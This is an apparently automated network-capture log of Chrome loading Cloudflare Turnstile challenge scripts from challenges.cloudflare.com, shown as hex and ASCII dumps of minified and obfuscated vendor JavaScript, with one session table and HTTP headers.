2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 49 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Ie;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 64 61 72 6b 22 2c 22 6c 69 67 68 74 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 39 65 35 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 33 36 65 34 7d 76 61 72 20 49 72 3d 2f 5e 5b 30 2d 39 41 2d 5a 61 2d 7a 5f 2d 5d 7b 33 2c Data Ascii: OM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function it(e){return M(["auto","dark","light"],e)}function ot(e){return M(["auto","never"],e)}function ct(e){return e>0&&e<9e5}function ut(e){return e>0&&e<36e4}var Ir=/^[0-9A-Za-z_-]{3,
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 2c 65 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 68 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 5f 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 22 2c 74 72 3d 38 65 33 2c 45 74 3d 22 70 72 69 76 61 74 65 2d 74 6f 6b 65 6e 22 2c 72 72 3d 33 2c 6e 72 3d 35 30 30 2c 61 72 3d 35 30 30 2c 59 3d 22 22 3b 76 61 72 20 4e 72 3d 5b 22 62 67 2d 62 67 22 2c 22 64 61 2d 64 6b 22 2c 22 64 65 2d 64 65 22 2c 22 65 6c 2d 67 72 22 2c 22 6a 61 2d 6a 70 22 2c 22 6d 73 2d 6d 79 22 2c 22 72 75 2d 72 75 22 2c 22 73 6b 2d 73 6b 22 2c 22 73 6c 2d 73 69 22 2c 22 73 72 2d 62 61 22 2c 22 74 6c 2d 70 68 22 2c 22 75 6b 2d 75 61 22 5d 2c 6b Data Ascii: ,er=".g-recaptcha",ht="cf_challenge_response",_t="cf-turnstile-response",bt="g-recaptcha-response",tr=8e3,Et="private-token",rr=3,nr=500,ar=500,Y="";var Nr=["bg-bg","da-dk","de-de","el-gr","ja-jp","ms-my","ru-ru","sk-sk","sl-si","sr-ba","tl-ph","uk-ua"],k
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f 22 35 30 30 70 78 22 3a 6e 3f 22 34 38 30 70 78 22 3a 72 3f 22 36 35 30 70 78 22 3a 6f 3f 22 35 39 30 70 78 22 3a 22 35 37 30 70 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 42 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d Data Ascii: boseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?"500px":n?"480px":r?"650px":o?"590px":"570px"};function Be(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 63 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 53 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 63 65 28 74 Data Ascii: 0;return qe=function(o){if(o===null\|\|!cr(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,c)}function c(){return Se(o,arguments,ce(t
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6e 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 2c 73 72 63 3a 72 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 6e 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 6e 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 Data Ascii: uld not find Turnstile script tag, some features may not be available",43777);var r=e.src,n={loadedAsync:!1,params:new URLSearchParams,src:r};(e.async\|\|e.defer)&&(n.loadedAsync=!0);var o=r.split("?");return o.length>1&&(n.params=new URLSearchParams(o[1]))
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 65 6e 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 3d 22 30 70 78 20 61 75 74 6f 22 3b 76 61 72 20 53 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 53 2e 69 64 3d 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2d 66 72 22 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 68 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 22 Data Ascii: yle.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.top="0px",E.style.overflow="hidden",E.style.margin="0px auto";var S=document.createElement("iframe");S.id="".concat(e,"-fr"),S.setAttribute("src",h),S.setAttribute("allow"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49738	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:36 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1568eaca342db&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:36 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:36 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122659 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ff15692de120c84-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:36 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 71 51 4c 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qqQL2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https
2025-01-09 03:28:36 UTC	1369	IN	Data Raw: 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 Data Ascii: ice%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_footer_privacy":"Privacy","testing_only_always_pass":"Testing%20only%2C%2
2025-01-09 03:28:36 UTC	1369	IN	Data Raw: 66 42 2c 66 4c 2c 66 57 2c 67 30 2c 67 37 2c 67 67 2c 67 68 2c 67 48 2c 67 65 2c 67 66 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 30 31 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 38 30 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 35 39 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 36 30 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 37 30 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 30 31 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 36 36 35 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 Data Ascii: fB,fL,fW,g0,g7,gg,gh,gH,ge,gf){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(401))/1(-parseInt(gI(1080))/2)+-parseInt(gI(459))/3(-parseInt(gI(760))/4)+parseInt(gI(1170))/5(-parseInt(gI(1001))/6)+parseInt(gI(665))/7(parseInt(
2025-01-09 03:28:36 UTC	1369	IN	Data Raw: 3a 28 48 3d 7b 7d 2c 48 5b 67 4e 28 31 35 31 33 29 5d 3d 67 4e 28 35 33 32 29 2c 48 5b 67 4e 28 31 30 33 32 29 5d 3d 6a 5b 67 4e 28 31 36 30 35 29 5d 5b 67 4e 28 31 33 33 31 29 5d 2c 48 5b 67 4e 28 36 37 33 29 5d 3d 44 5b 67 4e 28 31 36 30 35 29 5d 5b 67 4e 28 32 36 33 29 5d 2c 48 5b 67 4e 28 33 38 34 29 5d 3d 67 4e 28 36 37 35 29 2c 48 5b 67 4e 28 38 37 30 29 5d 3d 42 5b 67 4e 28 31 36 30 35 29 5d 5b 67 4e 28 31 34 37 37 29 5d 2c 48 5b 67 4e 28 31 35 38 35 29 5d 3d 45 5b 67 4e 28 31 36 30 35 29 5d 5b 67 4e 28 31 30 31 38 29 5d 2c 48 5b 67 4e 28 31 36 32 36 29 5d 3d 43 2c 69 5b 67 4e 28 33 32 33 29 5d 5b 67 4e 28 31 34 32 36 29 5d 28 48 2c 27 2a 27 29 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 67 4f 2c 49 Data Ascii: :(H={},H[gN(1513)]=gN(532),H[gN(1032)]=j[gN(1605)][gN(1331)],H[gN(673)]=D[gN(1605)][gN(263)],H[gN(384)]=gN(675),H[gN(870)]=B[gN(1605)][gN(1477)],H[gN(1585)]=E[gN(1605)][gN(1018)],H[gN(1626)]=C,i[gN(323)][gN(1426)](H,'*')),C++);return j;function s(G,H,gO,I
2025-01-09 03:28:36 UTC	1369	IN	Data Raw: 3d 67 54 28 33 32 33 29 2c 64 5b 67 54 28 34 34 39 29 5d 3d 67 54 28 35 33 32 29 2c 64 5b 67 54 28 31 35 32 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 67 54 28 31 33 36 38 29 5d 5b 67 54 28 34 38 36 29 5d 28 65 5b 67 54 28 31 35 32 36 29 5d 28 32 2c 66 29 2c 33 32 29 2c 65 4d 5b 67 54 28 36 39 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 55 29 7b 67 55 3d 67 54 2c 65 4d 5b 65 5b 67 55 28 37 31 37 29 5d 5d 26 26 28 65 4d 5b 67 55 28 33 34 33 29 5d 5b 67 55 28 31 35 38 38 29 5d 28 29 2c 65 4d 5b 67 55 28 33 34 33 29 5d 5b 67 55 28 31 32 31 37 29 5d 28 29 2c 65 4d 5b 67 55 28 31 34 33 33 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 65 5b 67 55 28 37 31 37 29 5d 5d 5b 67 55 Data Ascii: =gT(323),d[gT(449)]=gT(532),d[gT(1526)]=function(h,i){return h<<i},e=d,f=1,g=1e3*eM[gT(1368)][gT(486)](e[gT(1526)](2,f),32),eM[gT(693)](function(gU){gU=gT,eM[e[gU(717)]]&&(eM[gU(343)][gU(1588)](),eM[gU(343)][gU(1217)](),eM[gU(1433)]=!![],eM[e[gU(717)]][gU
2025-01-09 03:28:36 UTC	1369	IN	Data Raw: 44 5b 67 56 28 34 39 39 29 5d 28 6e 2c 78 2c 21 21 5b 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 39 27 3a 42 3d 67 48 5b 67 56 28 33 33 36 29 5d 28 73 29 5b 67 56 28 31 34 33 37 29 5d 28 27 2b 27 2c 67 56 28 34 36 35 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 30 27 3a 44 5b 67 56 28 33 31 30 29 5d 3d 35 65 33 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 31 27 3a 43 3d 65 4d 5b 67 56 28 31 36 30 35 29 5d 5b 67 56 28 31 34 31 34 29 5d 3f 69 5b 67 56 28 39 37 35 29 5d 28 27 68 2f 27 2b 65 4d 5b 67 56 28 31 36 30 35 29 5d 5b 67 56 28 31 34 31 34 29 5d 2c 27 2f 27 29 3a 27 27 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 32 27 3a 44 3d 6e 65 77 20 65 4d 5b 28 67 56 28 31 33 30 36 29 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 Data Ascii: D[gV(499)](n,x,!![]);continue;case'9':B=gH[gV(336)](s)[gV(1437)]('+',gV(465));continue;case'10':D[gV(310)]=5e3;continue;case'11':C=eM[gV(1605)][gV(1414)]?i[gV(975)]('h/'+eM[gV(1605)][gV(1414)],'/'):'';continue;case'12':D=new eM[(gV(1306))]();continue;case
2025-01-09 03:28:36 UTC	1369	IN	Data Raw: 59 28 34 30 37 29 5d 28 6b 29 2c 2d 31 29 29 3f 65 4d 5b 67 59 28 36 39 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 5a 29 7b 67 5a 3d 67 59 2c 65 4d 5b 67 5a 28 33 39 30 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6c 3d 7b 7d 2c 6c 5b 67 59 28 39 39 31 29 5d 3d 64 2c 6c 5b 67 59 28 31 34 35 31 29 5d 3d 65 2c 6c 5b 67 59 28 32 32 34 29 5d 3d 66 2c 6c 5b 67 59 28 31 32 34 36 29 5d 3d 67 2c 6c 5b 67 59 28 31 30 39 34 29 5d 3d 68 2c 6d 3d 6c 2c 65 4d 5b 67 59 28 36 39 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 30 29 7b 68 30 3d 67 59 2c 65 4d 5b 68 30 28 31 30 31 32 29 5d 28 6d 2c 75 6e 64 65 66 69 6e 65 64 2c 68 30 28 33 31 35 29 29 7d 2c 31 30 29 2c 65 4d 5b 67 59 28 36 39 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 32 2c 6e 2c 73 2c 76 2c 78 2c 42 29 7b 69 66 28 68 32 Data Ascii: Y(407)](k),-1))?eM[gY(693)](function(gZ){gZ=gY,eM[gZ(390)]()},1e3):(l={},l[gY(991)]=d,l[gY(1451)]=e,l[gY(224)]=f,l[gY(1246)]=g,l[gY(1094)]=h,m=l,eM[gY(693)](function(h0){h0=gY,eM[h0(1012)](m,undefined,h0(315))},10),eM[gY(693)](function(h2,n,s,v,x,B){if(h2
2025-01-09 03:28:36 UTC	1369	IN	Data Raw: 3d 69 34 28 35 33 32 29 26 26 65 5b 69 34 28 33 38 34 29 5d 3d 3d 3d 69 34 28 31 31 33 37 29 3f 66 7a 3d 64 5b 69 34 28 38 38 32 29 5d 28 73 65 74 49 6e 74 65 72 76 61 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 5a 28 29 7d 2c 31 65 33 29 3a 65 26 26 64 5b 69 34 28 31 36 30 33 29 5d 28 65 5b 69 34 28 31 35 31 33 29 5d 2c 69 34 28 35 33 32 29 29 26 26 64 5b 69 34 28 38 35 37 29 5d 28 65 5b 69 34 28 33 38 34 29 5d 2c 69 34 28 31 32 37 33 29 29 26 26 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 66 7a 29 7d 29 2c 66 42 3d 21 5b 5d 2c 21 66 32 28 67 4a 28 32 38 34 29 29 26 26 28 66 5a 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 44 2c 63 2c 64 2c 65 29 7b 69 44 3d 67 4a 2c 63 3d 7b 27 4c 43 64 75 51 27 3a 66 75 6e 63 74 69 6f 6e 28 66 Data Ascii: =i4(532)&&e[i4(384)]===i4(1137)?fz=d[i4(882)](setInterval,function(){fZ()},1e3):e&&d[i4(1603)](e[i4(1513)],i4(532))&&d[i4(857)](e[i4(384)],i4(1273))&&clearInterval(fz)}),fB=![],!f2(gJ(284))&&(fZ(),setInterval(function(iD,c,d,e){iD=gJ,c={'LCduQ':function(f
